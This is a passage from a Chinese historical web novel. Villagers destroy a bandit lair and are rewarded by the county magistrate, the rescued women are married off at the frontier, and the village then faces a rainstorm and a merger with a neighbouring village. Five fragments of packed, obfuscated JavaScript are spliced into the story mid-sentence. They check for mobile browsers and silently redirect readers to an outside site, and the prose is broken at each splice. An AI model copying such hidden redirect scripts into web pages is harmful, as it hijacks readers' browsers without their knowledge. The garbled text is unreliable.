高长天点头吩咐高三壮, “你骑马先回去报信,让小刘大夫把止血的药带上。 对了,那伙土匪可有逃出去的?” “没有,一个不剩,全被我们杀了!” 高三壮立刻回道。 高长天这才放下心来,高娇娇忙道: “还是我回去报信吧,顺便让娘给你们准备点吃的喝的,在路口等着你们。” “你跟你三哥一起去,路上注意安全。” 高长天不放心高娇娇一个人回去,这么大个山寨,那么多土匪,保不齐就有趁乱偷跑出去的。 娇娇虽然厉害,但明枪易躲暗箭难防,还是小心为上。 高娇娇和高三壮翻身上马,飞奔回家。 石楼村高家,姚春香正带着众人烙饼蒸馒头准备干粮。 刘小翠担心不已,时不时看向门口,本应该揉成馒头状的面团,都被揉的乱七八糟。 林巧儿等人也担心,一晚上过去了,家里人都还没回来,心一直悬着,真是煎熬。 姚春香心里也不好受,但她现在是大家的主心骨,她不敢表露出一点点不安,只能尽可能多的准备干粮,让自己忙的顾不上担心。 杜映梅眼尖,率先发现了村口的动静,急忙喊道, “回来了,有人骑马过来了!” 众人急忙跑到院门口张望,姚春香看到村口跑来两个骑马的人,一前一后,不由急声提醒众人, “来的不一定是咱们的人,快,带孩子回屋,关好门窗。 罗子娘,李二娘,抄起家伙,咱们也准备起来!” 李二娘等人听到姚春香的指挥,立刻拿起大刀长棍,高度戒备起来。 等到来人靠近,看到最前面是名女子,姚春香不由大喜。 来的不是土匪,是她闺女,是娇娇! 高娇娇和高三壮骑着马一路冲到家门口,先跟姚春香她们报了平安,然后就去找刘一手。 等刘一手准备好所需药品,高三壮和高娇娇把打包好的干粮和水放在马背上,带着姚春香和朱钰等人去官道口等高长天。 等了大概一个来时辰,高长天终于带着大队人马过来了。 姚春香看到高长天一身血满脸疲惫,不由很是心疼,赶紧递上去水和烙饼。 高长天早就饿得不行了,接过水喝了几口,就狼吞虎咽吃起饼来。 其他人也是一样,除了牛车上的那帮女人。 她们瑟缩着不敢接吃食,在地窖的经历让她们习惯性把食物跟服侍划上了等号,想要获得食物,就要被那群畜生折磨。 被折磨的不成人样后,才发现他们给的食物里混着**。 不吃就要饿死,吃,实在难以下咽。 尤其再知道那些**是自己的亲人后,更是崩溃痛苦至极。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342621|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种折磨生生逼疯了好些女人,让她们选择用最惨烈的方式结束了自己的生命。 可那群畜生还不肯放过她们的尸体,还要当着剩下女人的面,再羞辱一番才肯剁成块扔去喂狼。 所以她们很害怕,害怕接过这些馒头烙饼,就要付出惨痛的代价。 高娇娇看的心里难过,开口安抚道, “你们吃吧,吃饱了才有力气去知县大人面前哭诉你们的遭遇,请他为你们主持公道! 我们不需要你们回报,这是你们坚持到现在应得的。” 抱孩子的女人第一个接过食物,大口大口吃了起来。 她吃的非常快,好像恨不得一口就把整个馒头吞下去。 那噎的直翻白眼还望嘴里塞的架势,看的高娇娇都担心她会把自己噎死。 好在没人噎死,她还粗着嗓子冲高娇娇嚷嚷, “我不死,我要活,我没错,错的是那些畜生,是他们不做人!” 其他女人听到这个女人的话,不由呜呜哭着接过食物,大口大口吃了起来。 她们不想死,她们也想活。 高长天一口气吃了两张饼,喝了三碗水后,这才觉得胃里不那么空的难受了,问朱钰, “二弟可要跟我一起去衙门?” 朱钰摇头,耐心给出解释, “我去不合适,岚县知县是个非常聪明又谨小慎微的人,这种人不会轻易相信他人。 见到我这种一看就足智多谋的人,会本能生出警惕,对我说的话,也会本能怀疑。 但大哥一身浩然正气,坦荡无私,岚县知县肯定喜欢。 同样的话,我说出来,远不如大哥说出来更容易取信知县大人。” 高长天点头道, “既然如此,那就我一个人去,二弟帮忙安排人收拾几间空窑洞出来让石小山他们养病。 他们几个都是光棍汉,这突然受了重伤,家里也没个人照顾。 还是让他们住一块儿,方便照顾,也省的小刘大夫还得东奔西跑给他们治疗。” 朱钰应下,又对高长天道, “不知缴获的这些东西,大哥准备怎么分配?” “留下一部分,剩下的交给官府。” 高长天心里早就有了盘算,他打算留下一般交上去一般,只是还想跟朱钰商量商量,毕竟这可事关全村人的利益。 朱钰提议道, “依我看,大人现在肯定为安置难民头疼,衙门缺钱更缺粮,不如咱们把粮食全部上缴。 把金银留一半现在就给大家伙分了,省的到了衙门被人看出端倪,反倒不好。 还有就是,大哥在大人跟前禀报的时候,切记,昨晚是土匪先偷袭咱们村,重伤了咱们巡防的人,咱们是忍无可忍,万般无奈之下为了自保才去冒险剿匪。” 高长天震惊, “二弟,你让我在大人面前说谎话?” 第二百二十九章 残忍 朱钰一脸淡定,好似根本没意识到自己说了多么吓人的话,继续道, “这怎么能叫说谎呢?不过就是把事情的先后顺序稍微调整了下,让大人听起来更舒服一些罢了。 大哥,凡事讲究事出有因,咱们乡野粗人不懂别的,只知道有仇必报。 土匪下山伤人威胁全村安危,咱们为了自保,才奋起反抗,一拥而上杀入匪寨。 一不小心就杀光了土匪头子,把土匪窝给端了,是不是?” 高长天愣了愣,明白了朱钰的意思。 枪打出头鸟,太出风头了不好,这样说合情合理还不容易遭人忌讳,那就这么说吧。 朱钰又提醒了高长天几点需要注意的,就让高二壮他们把弄来的金银分了下去。 想要金子的给金子,想要银子的分银子,所有巡逻队员平分,重伤的加一倍。 这个分法简单粗暴,不论杀敌多少,有点不太公平。 但是杀敌最多的高娇娇都没意见,大家又是一路逃荒过来的,生生死死经历过好多回,现在日子也安稳,便不像之前那么计较了。 至于缴获的刀枪弓箭,好用的留下,不好用的上交。 分完值钱的东西,把要交给衙门的东西又重新整理了下,队伍继续出发。 被安排在队伍最后方的女人们,完全不知道发生了什么,还以为车队是停下来休整,休整好就继续出发了。 被捆绑的结结实实,跟粽子一样连成串,蒙着眼堵着嘴,只有两条腿能正常走路的土匪,更加不知道发生了什么。 只知道这群人凶的很,走慢了会被打,走快了也会被打,敢逃跑就直接剁手割耳朵,简直比恶魔还恶魔。 高娇娇回到村中,带着高二宝和高金宝等半大小子,把村子四周仔仔细细查看了一遍。 确定大小路口田埂地头都没有土匪出没的痕迹,这才回去洗澡睡觉。 但高二宝几个还要继续巡逻,直到傍晚高长天他们回来,才能放松警惕。 高长天不仅带回来一笔赏银,还带回了知县大人亲笔书写的“忠勇之乡”四个大字。 高三壮激动的手舞足蹈,跟众人说着他们押送土匪进城,被百姓围观叫好,把衙役震惊的眼珠都快瞪出来的场景。 知县大人不仅亲自接见了他们,还对他们的义举大加赞赏,夸他们忠勇无畏,堪为百姓表率,还问他们想要什么奖赏。 在高长天再三推拒,表示这都是他们应该做的之后,知县大**笔一挥,送了他们四个大字。 他们在回来的路上就商量好了,要在村口建一座牌坊,把大人赐的字做成石匾,高高挂起来。 这样所有进出村子的人都能看到,这可是大人对他们的夸奖,是他们的无上荣光。 姚春香等人围着那副字夸个不停,刘小翠悄悄数了数那盘银锭,撇嘴不满。 才一百两,上次高娇娇杀的土匪可是一个就十两。 这次把土匪窝都端了,杀了那么多土匪,还有好几个土匪头子,自己人还受了重伤,结果才给一百两。 知县大人可真小气,这点钱还不够给石小山他们几个治伤呢。 高娇娇这次分到了三两多金子,折合银子三十多两,虽比不得上次杀的那五个土匪多,但她额外得了两个流星锤。 这玩意儿沉的很,一个起码三四十斤,就算全是铁,那也能值不少钱了。 所以即便衙门不给赏银,她也觉得这趟收获不错。 更别提高长天他们还带回来两匹马,说是知县大人特许他们养的,让他们以后再发现土匪马匪什么的及时上报,别再贸然行动了。 上不上报且不提,马到手了那就是他们的了,以后再去县城,骑马可比赶驴车快不少。 等到众人散去,高娇娇悄悄问了高长天,那群女人和乔大凤都被安排去了哪里。 高长天说了个高娇娇完全想不到的去向,那些女人都被送往边关了。 据说那边有几个村,村里都是受了伤身体有残疾,或者到了年纪不能继续留在军中,却又无家可归的老兵。 高将军仁义,就跟顾大将军商量,他自掏腰包让这些人在边关附近开荒,让他们能靠种地活下去。 顾大将军便上奏朝廷,给每个关隘多少亩自主开荒的权力,用来安置无家可归的伤残将士。 朝廷允准后,这些人就在军中好友的帮助下,开荒种地盖房子,逐渐就形成了村落。 虽然解决了生活问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342622|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是边关苦寒,军中没有女人,这些人若是不娶生子只能孤苦伶仃一辈子。 于是,高将军就跟临近的知县商量,请他们帮忙,把一些女囚犯或者获罪流放的女人送过去,跟那些娶不上媳妇的老鳏夫配对。 这样既能解决衙门女囚犯不好管理的难题,也能解决伤残将士的婚配问题。 一举两得,互惠互利。 高娇娇难以接受, “即便是女囚犯,也不能这样吧,这不成强买强卖了?” “怎么就强买强卖了?” 高长天不理解高娇娇的愤怒,耐着性子解释道, “那些女人都是囚犯了,不管是娘家还是夫家肯定容不下她。 只要嫁人就能恢复自由身,还能有个家,难道不比去矿山干苦力,九死一生强? 即便她们能活到大赦,现在这世道,一个弱女子无依无靠,在城里难以生存,在城外保不齐又会被恶人抓了去。 衙门能给她们安排这么个去处,就已经够仁义了。” 高娇娇不得不承认高长天说的有道理,可乔大凤她们不是犯人,她们是被土匪掳来的良民啊。 高长天轻轻抚了抚高娇娇的头,心疼闺女的天真, “娇娇,不管是良民还是犯人,只要进了匪寨,就免不了被土匪糟践。 女子名节大过天,除了实在娶不上媳妇的人,哪儿还有男人愿意娶这种女人? 更何况那些女人也不像你以为的都是良民,她们中有很多都是娼妓,趁乱从妓院里逃了出来,又被抓进了土匪窝。 连衙门的老吏都说,也亏得她们是这种出身,一般良家女子,根本熬不过这种折磨。 衙门愿意帮她们恢复良籍,替她们婚配,对她们来说,已经是天大的机缘了。” 高娇娇沉默了,原来是她太想当然了。 这世道,对女子真是太残忍了,也不知道那个抱着孩子的女人,能不能遇到一个好点的男人,自此过上安稳的日子。 至于乔大凤,高娇娇给她的金手镯和长命锁,起码值四五十两银子,只要她不胡乱折腾,想来日子应该能过得不错。 衙门赏的一百两银子,高长天没有分下去,打算用来建牌坊。 第二百三十章 安排 找的还是帮忙立碑的那些人,十几个人忙活了好几天终于弄好了。 牌坊建成那天,高长天专门从城里买了一头大肥猪,做了两大锅杀猪菜,请工匠和双水村的人一起庆祝。 高娇娇没去吃大锅菜,她带着杜映梅几个,跟在姚春香身后,眼巴巴等着吃卤肉呢。 姚春香和罗子娘等人,把猪下水和猪头、猪蹄收拾了出来,放进大锅里卤了一两个时辰,现在香味儿飘的满院子都是。 等到卤肉出锅,高娇娇几个吃完猪头肉啃猪蹄,吃了猪尾巴吃猪肝,吃猪心,还吃了溜肥肠和肚丝汤,撑的走路都得扶着墙。 杜映梅再一次吃肉吃到撑,看到吃完剩下的骨头,很是不舍道, “咱家要是有狗就好了,这些骨头可以拿来喂狗。” 高娇娇笑话她, “现在哪儿还有狗?人都吃不饱呢,能从牙缝里省点粮食养几只鸡就不错了。 外面只有**肉长大的野狗你要不要? 要的话,我明儿去山上找找,给你抓一只回来。” “不要,不要,” 杜映梅连连摆手,吃过**的狗她可不敢养。 那种狗养不熟,听说眼睛都是红的,吓人的很。 高二宝想起他们抓鱼时见过的猫,忙冲高娇娇道, “姑姑,我们前天抓鱼的时候,在朱大爷要建房子的土堆后头,看到一只小猫。 黄黄的,一点点大,叫的声音也小小的,我们刚跑过去它就躲起来找不到了。” 高娇娇话顿时来了兴致,狗没有,猫也行啊。 孩子们琢磨着如何抓猫,大人们说着接下来的日子怎么过。 姚春香一边吃一边跟罗子娘几个说孵小鸡的事,她们现在吃的鸡蛋全靠从城里买,不方便不说,还贵的很。 李二娘跟立碑那帮人攀谈的时候,知道他们村养了不少鸡,忙把这个好消息告诉了姚春香。 姚春香打算从桥下村买些种蛋回来孵小鸡,趁着春天野草野菜多,赶紧把鸡养起来,顺利的话等到夏天就能吃到鸡蛋了。 除了鸡,姚春香还想养鸭养鹅。 村里有河,养鸭子方便的很,早上放出去,晚上收回来就行,基本不用喂。 养鹅主要是为了看鸡鸭防黄鼠狼,小鸡小鸭最怕被黄鼠狼叼走,大鹅厉害,能把黄鼠狼赶走,也能看家护院。 鹅蛋也好吃,不过鹅食量也大,费粮食,今年地里收成还不知道会是啥样,只能先少养几只试试。 罗子娘除了养鸡鸭鹅,还想养羊。 她最近天天去后山挖野菜,觉得这里草真多林子也大,家里粮食不多,养猪可能不太行,但养一头羊应该问题不大。 挖野菜的时候把羊牵出去吃会儿草,去地里干活时拔点草回来喂,喂着喂着就长大了。 女人们说着家里的生计,男人们聊着村子的未来。 这次剿匪让石楼村大出风头,肯定会引起各方面的注意,接下来除了要防备流民团伙,还要防范别的山头的土匪会跑过来。 除了加强巡逻,小心戒备外,高长天打算把村里的半大小子召集起来,每天训练。 不管是练拳还是练射箭,学着用真刀**跟人对战,都得练起来,不然等他们这些人老了受伤了,村里没人顶上可不行。 朱钰把统计好的情况跟大家说了说,现在村里一共有大刀五十二把,**十六杆,弓二十一张,箭三百零五支,短刀**长棍流星锤什么的,数量太少就不统计了。 这些武器看着不少,但是装备到每个巡逻队员的身上就不多了,最重要的是,这些东西损坏了他们没地方修补。 高长天说出关键所在, “村里没木匠铁匠不行,咱们得挖点人过来。” 高二壮等人面面相觑,人又不是树,还能说挖就挖啊。 朱钰笑着抚须道, “大哥所言甚是,老话说得好,独木不成林,咱们想要强大,就得招揽人才。” 高二壮等人更加迷糊,啥强大,啥招揽? 怎么听着不太对,好像是要搞大事了。 朱钰确实想借着眼下这股势头搞点事,乱世之中想要自保,唯有强大自身。 想要变强就需要人才,流民之中鱼龙混杂,他们要趁着流民四散之时,挑选适合吸纳的人才,壮大石楼村。 但是要怎么挑选,如何吸纳,就要好好商量了。 高长天也被知县大人的嘉奖,激起了雄心壮志。 他不再只想守住这一亩三分地,还想给子孙后代多攒下家底,让大家日子过的更好,让石楼村没人敢欺负。 高娇娇不管这些,她忙着抓猫呢。 次日傍晚,高娇娇就带着精心编制的大口篮筐,拿着刚抓到的小鱼,投放到小猫出没过的地方,耐心等待。 这一等就从太阳刚落山等到了天黑,就在高二宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342623|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚麻的不行,想要站起来走动一下时,高娇娇一把摁住了他。 “来了,都准备好,猫一咬上小鱼就动手。” 高娇娇冲众人做了个手势,众人赶紧拉紧渔网,举起篮筐,做好准备。 黑漆漆的夜里,一团小小的黑影,顶着两个探照灯一样亮的眼睛,小心翼翼靠近了小鱼。 可就在它叼起小鱼想要跑回藏身的洞里时,一个篮筐从天而降,就要把它扣在下面。 小猫飞快躲闪,避开了篮筐,却掉入了高娇娇提前安排好的渔网包围中。 高娇娇飞速冲过去,一把提起了小猫的后颈,惊恐的小猫顿时没了声,一动不动。 姚春香正站在家门口喊吃饭,今天孩子们也不知道都跑哪儿去了,天都这么黑了,一个也没回来。 正犹豫着要不要出去找找,就见高娇娇跟打了胜仗一样带着大大小小一群萝卜头回来了。 看到她,就立刻冲她显摆, “娘,看我们抓到了啥?一只小黄猫,养大了就能抓老鼠了!” 姚春香看着那不过巴掌大小,一看就是刚满月没多久的小猫哭笑不得,这么小,能不能养得活还两说呢。 不过到底是家里多了只猫,大家都稀罕的很,连刘小翠都跑过来看了看,还十分笃定对高娇娇道, “这看着不像是纯家猫,应该是家猫跟山里的野猫生下的崽。” 高娇娇不知道她是怎么分辨出来的,不过不管是家猫还是野猫,现在都是她的猫了。 她也是有猫的人了,她打算给猫取个名字。 高二宝几个兴致勃勃帮着取了好几个名字,高娇娇都觉得不太好,最终决定化繁为简,就叫它“高小黄”了。 杜映梅看看被布条拴着脖子绑在炕桌边的小黄猫,想到院里牲口棚的大黑,觉得嫂嫂这名字起的真是,不怎么好听。 高小黄住进高家第二天,从清明就开始阴沉沉的天,终于下雨了。 高娇娇和杜映梅坐在门口,一会儿仰头看天,一会儿低头看地,心里都慌得很。 石楼村这边的春雨一点也不像柳树沟那边,说下就下不说,还下这么大。 狂风卷着豆大的雨滴,噼里啪啦往下砸,落在地上溅起一朵朵水花,不一会儿院子里就积满了水。 杜映梅忍不住拉住高娇娇的袖子,担心问道, “嫂嫂,这么下去水会漫到屋子吧?咱们是不是得想点办法?” 第二百三十一章 暴雨 高娇娇也担心,可她还得稳住杜映梅几个,忙安抚道, “别担心,没事的,这房子以前的村民都住了好些年了,不也没被淹嘛。 说不定人家这边下雨就是这样,你别自己吓自己,快带小寒和冬月回炕上。” 杜映梅苦着脸道, “嫂嫂我不敢进屋,我怕窑洞塌了把我们埋里头。” 高娇娇回头看了眼只有昏黄油灯照出一点点光亮的窑洞,也没什么安全感。 这可不是瓦房茅草屋,这要是塌了,真会把人活埋。 还是得盖房子啊,盖几间跟老家一样的青砖大瓦房,像朱叔那样做上暖墙火炕,冬天应该也不会冷。 高娇娇正琢磨着,杜映梅突然跳脚惊呼起来, “嫂嫂,嫂嫂,不好了,水要漫过来了。” 高娇娇低头一看,好家伙,就这一会儿的功夫院子的积水又涨了一截,真漫过了门槛,往屋里流了。 “小寒,冬月,快去炕上!” 高娇娇抓起早就翻出来以防万一的油布,冲杜映梅道, “你守好屋里,我去找点东西挡在门槛这儿。” 说完,就披上油布冲进了雨里。 雨点噼里啪啦砸在油布上,狂风吹得高娇娇有些站不住,她只能艰难地挪向柴火堆,翻找出能用的木板。 一手把木板抱在怀里,一手揪着油布,快速跑了回去。 将木板挡在门槛上,又用烂布条把缝隙塞满,雨水终于不往屋里灌了。 但雨还没停,窑洞上头的水哗啦啦往下流,跟瀑布一样,使得院子里的积水越来越多。 这样下去不是办法,高娇娇一咬牙,把油布往头上一披,让杜映梅帮忙在脖子和腰上各系两条布条绑紧,就又冲进了雨中。 四处找了一圈,发现院墙上有排水口,只是被枯叶尘土堵住了,这才使得院里的水排不出去。 高娇娇忙用小撅头把排水口疏通,见院里的水哗啦啦往外流,水位终于开始下降,这才松了口气。 听到隔壁娘家院里大呼小叫,高娇娇忙冲杜映梅喊了声,拿着小撅头跑了过去。 高家也面临着同样的问题,院子积水过高漫到屋里了。 姚春香和高娇娇一样裹着油布做成的简易雨衣在到处寻找,见高娇娇过来,姚春香抹了把湿透的脸,冲她吼, “这么大的雨你跑出来干啥?赶紧回去!” “娘,排水口在院墙根儿,我去疏通,你头发都湿了,赶紧进屋擦擦。” 说着,就跑到院墙根找了起来。 姚春香哪儿肯进屋让高娇娇自己淋雨,忙跟了过去,母女两人沿着院墙根找了一圈,终于找到了排水口。 一番疏通,院里的积水终于排了出去。 林巧儿和刘小翠在灶房用锅碗瓢盆接漏下来的水,见她俩忙完了,赶紧喊她们过来擦一下头发。 高娇娇看着摇摇欲坠的灶房草棚,哪儿有心情擦,她得赶紧回去转移牲口。 她家的牲口棚只怕也漏雨了,不过她有些奇怪这种时候怎么没见到高长天他们,忙问了姚春香一句。 姚春香抹了把顺着眼皮直往下流的雨水道, “你爹他们去石小山几个住的窑洞了,刚下雨没多久,金宝就过来报信,那个窑洞里一直不停掉土渣,可能要塌,你爹他们就赶紧过去了。” 高娇娇吓一跳, “人没事吧?” “没事,我刚问了你朱叔,说人已经抬出来了,三孔窑塌了一孔,幸亏发现的早,要不真被埋里头了。” 姚春香说起来还是一脸心有余悸,叮嘱高娇娇道, “不行你就在屋里生个火盆,这样比较亮,能看清有没有掉土渣。 一发现掉土渣就赶紧往外跑,千万别去管钱财啥的,那些东西被埋了还能挖出来,人要是被埋了,就完了。” 高娇娇点头应下,姚春香见她脸色有些发白,怕她被吓到,忙又安抚道, “咱们住的窑洞都加固过,应该没事,只是也要小心防范,等我这边忙完,就过去帮你修补牲口棚。” “不用,娘,你忙完了赶紧回屋擦干头发换衣服,我准备把牲口牵到西屋,等雨停了再弄牲口棚。” 说完高娇娇就要走,想了下,又冲姚春香道,35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342624|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “娘,你们也别管灶房了,现在雨太大了,想办法把粮食搬进屋就先歇着吧,万一冻着染上风寒更麻烦。” 姚春香摆手, “你别操心我们,赶紧回去吧。” 高娇娇回了家,赶紧去牲口棚。 一看果然也是四处漏雨,棚顶的草都被掀飞了不少,雨又大,就成了外面大下,里头小下。 赶紧牵上牲口转移地方,收拾牲口棚里还能吃的干草料,让杜映梅带着两个小的帮着照顾牲口,高娇娇又跑去了上头。 她实在不放心高长天,再怎么说,他也是五十好几的人了,这大风大雨的来回跑,万一受凉了可不得了。 高长天正指挥几个队长带人挨家挨户检查一遍,有问题的人家直接搬,不听安排的就捆起来抗走。 这种人命关天的时候讲不了半分道理,他必须强硬到底。 除了检查房屋,高长天还要安排人去下面看看河水上涨的情况,要是河水涨上来了,就得赶紧把底下的人往上转移,不能等着被淹。 还有就是田地,虽说耕地的时候挖了排水沟,但这雨来的太猛下的太大,高长天担心有的田地水不能及时排出去,得派人去疏通。 至于坡上头的蓄水池,这会儿一点也顾不上了,实在没那么多人手,也没办法冒着大雨去加固,只能听天由命。 高娇娇见高长天披着蓑衣,中气十足,暗暗松了口气。 没上前打招呼,就跟着高二壮他们去检查房屋了,抗人拖拽牲口都需要力气,她多干点爹就能少干点。 上上下下跑了一大圈,累到腿肚子打转,高娇娇终于忙完了,也被高长天发现了。 高长天黑着脸想训高娇娇几句,这么危险的时候不在家待着,跑出来多不安全。 可看到闺女冻的脸发青,裤腿湿透了,鞋也湿透了,还灌满了泥浆,就不忍再说她什么了。 好在石楼村除了石小山他们住的那个窑洞外,只有两个年久失修没住人的老窑洞塌了,其他家都没事。 但是双水村就没这么幸运了,他们没钱加固整修窑洞,突然暴雨,好几家的窑洞都塌了。 第二百三十二章 并村惊喜 有个跛脚老鳏夫为了救家里仅有的一头羊,跟羊一起被埋在土里,等人们赶过去的时候,人和羊都已经闷**。 其他几家虽没**,但都有人受伤。 伤的最重的是个老婆婆,往外跑的时候被门板砸到了后背,当场就吐了血,现在还昏迷不醒,也不知道能不能救活。 王里正看到村中惨状,心痛万分,艰难做出了一个决定。 带领全村老少加入石楼村,以后世上再无双水村。 高长天劝王里正慎重,这事儿往大了说可是背祖忘宗,要被子孙后代戳脊梁骨的。 王里正老泪纵横,他也知道自己这样做要背负的骂名,可比起自己一个人的名声,他更看重全村人的性命。 继续这样下去,村里还要**,等人都死绝了,还留着一个村名又啥用。 他们全村老少现在也是靠着石楼村过活,加入之后,无非就是他这个里正不当了,以后村里大事小情都听高长天安排。 以高长天的为人品性,肯定不会厚此薄彼,欺压后加入的村民,会对他们像对张家集的人一样公正。 王里正都这么说了,高长天也不好再拒绝,只得答应等雨停了,就派人去衙门上报两个村合并的事。 以后双水村的人口田地,都归石楼村所有,一应春耕秋收赋税徭役,都听高长天安排。 高娇娇不理解高长天为什么要接手这个烂摊子,双水村壮劳力少,地也不多,穷的掉渣。 加入石楼村后,他们免不了要补贴照顾,岂不是多了个累赘? 高长天语重心长对高娇娇道, “咱们想在这里扎根,就得表明态度,一味强硬是能省掉很多麻烦,却也会让咱们格格不入。 接收双水村从表面上对咱们没有好处,但是能向外头表明咱们的态度。 咱们不是只知道喊打喊杀的刁民蛮人,咱们懂礼数讲情义,咱们愿意帮扶弱小,愿意照顾四邻。 这样周边村子里的人才会信任咱们,才会主动跟咱们来往,衙门的人也不会一直防备着咱们。 你若是想不明白,就琢磨琢磨知县大人为啥给咱们马,为啥让咱们再发现土匪及时上报,不要轻举妄动。” 高娇娇明白了,让人怕确实比让人欺好,但想过上长久安稳的日子,就不能只让人怕。 最好能让人敬着,这样既不担心会被欺负,也不担心会被孤立。 姜还是老的辣,爹考虑的比她周全多了。 就像上次打猎带回来那么多猎物,爹宁肯低价卖掉,也不会无偿赠送。 这次建牌坊,却直接请大家吃杀猪菜。 这就是跟其他村的人相处的分寸,不一味强硬,也不一味热情,该大方的时候大方,该精明的时候精明。 要是按她想的那样,为了避免麻烦就关起门过自己的日子,只会让石楼村成为一个孤村,对石楼村的发展无益。 高长天见高娇娇能明白,十分欣慰。 他就说他这几个儿女中,娇娇最聪明能干,他便是多疼她一些也是应该的。 大雨从凌晨一直下到黄昏,从暴雨下到大雨,最后变成小雨,终于停了的时候,高娇娇忍不住长长地松了口气。 她真怕雨这么一直下下去,河水也涨起来,淹没石桥和田地,那他们种下好些天还没发芽的庄稼就彻底没希望了。 还有朱叔花高价买回来的砖头木料,刚开始打地基的房子,也要泡汤了。 好在,雨终于停了。 第二天是个难得的大晴天,高娇娇起床看到天边升起霞光不由很是高兴。 天晴了,大家赶紧去地里看看情况。 陆祥昆拄着拐杖,紧跟在高长天他们的身后,心里急的慌。 以他多年种地的经验,只怕他们的春耕要泡汤,昨天的雨实在下的太大了,地里的种子那么多天都没发芽,可能还是受了上次倒春寒的影响。 再被雨一冲,说不定直接就被冲跑了,趁着天晴赶紧晒晒地,兴许还能补种。 若是不能,他们张家集过来的人就要打饥荒了。 高娇娇和杜映梅也跟着众人往地里跑,她家的地都在低处,过了桥就能看到。 一眼望过去,地里没积水,松了半口气;再往跟前跑,看到地里好像有点绿。 不确定,揉揉眼睛蹲下身子扒开土仔细看。 杜映梅高兴的直拍手, “发芽了,真的发芽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342625|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,嫂嫂,咱们的种子发芽了!” “我家地里也发芽了!” “我家也发了!” “哈哈哈哈,发芽了,可算是发芽了!” “还得是人家这里的种子皮实,又是冻又是淹都能照样发芽,幸亏没种麦子,要不昨儿那么大的雨,肯定泡烂了。” “是啊,得亏是听了里正的,种了荞麦和莜麦。” “哈哈哈,只要发了芽就不愁长,咱们今年有收成了!” ...... 众人欢呼雀跃,笑声连成一片,听得河对岸家里的人也喜气洋洋。 姚春香抓了把受潮的荞麦面,问刘小翠, “之前的卤肉汤还有剩的没?” 刘小翠点头, “还剩小半锅。” “那你们中午都过来我这儿,咱们今儿吃饸饹面,一会儿我去后山转转,看看有没有蘑菇,做个蘑菇肉丁的浇头。” 姚春香话音刚落,高春花就从里屋走了出来, “奶,我跟你们一块儿去,多采点蘑菇给我姑姑送些,姑姑喜欢吃蘑菇。” 姚春香一听这话,觉得孩子真是长大了,都知道孝敬姑姑了,不由夸了又夸。 刘小翠气地剜了高春花好几眼,臭丫头胳膊肘往外拐,都分家了,还光惦记姑姑,就不知道孝敬孝敬爹娘。 扭头见张狗子扶着墙往外走,刘小翠吓的赶紧扑上去,一把扶住张狗子,嚷嚷个不停, “哎呦我的小祖宗,你这还没一个月呢,咋就下地了? 昨儿才下过雨,地上正滑呢,你赶紧回屋躺着去。 这伤筋动骨一百天,你别仗着年轻身子骨好就不听老人言,不好好养着,万一落下病根,可是受罪的很.......” 张狗子红着脸,不好意思小声道, “我没事,不怎么疼了,屋里潮,我就想出来晒晒太阳。” 刘小翠愣了下,忙又道, “原来是屋里潮啊,那你不早说,我这就去生个火盆,给你那屋好好烤烤。” 说着,刘小翠就要去生火盆,张狗子尴尬又着急,想阻拦又不知道该用什么借口,只能一个劲儿冲高春花使眼色。 第二百三十三章 采蘑菇 高春花一开始还没看出来,觉得狗子哥是不是眼睛不舒服,一直挤啊挤的看着就难受。 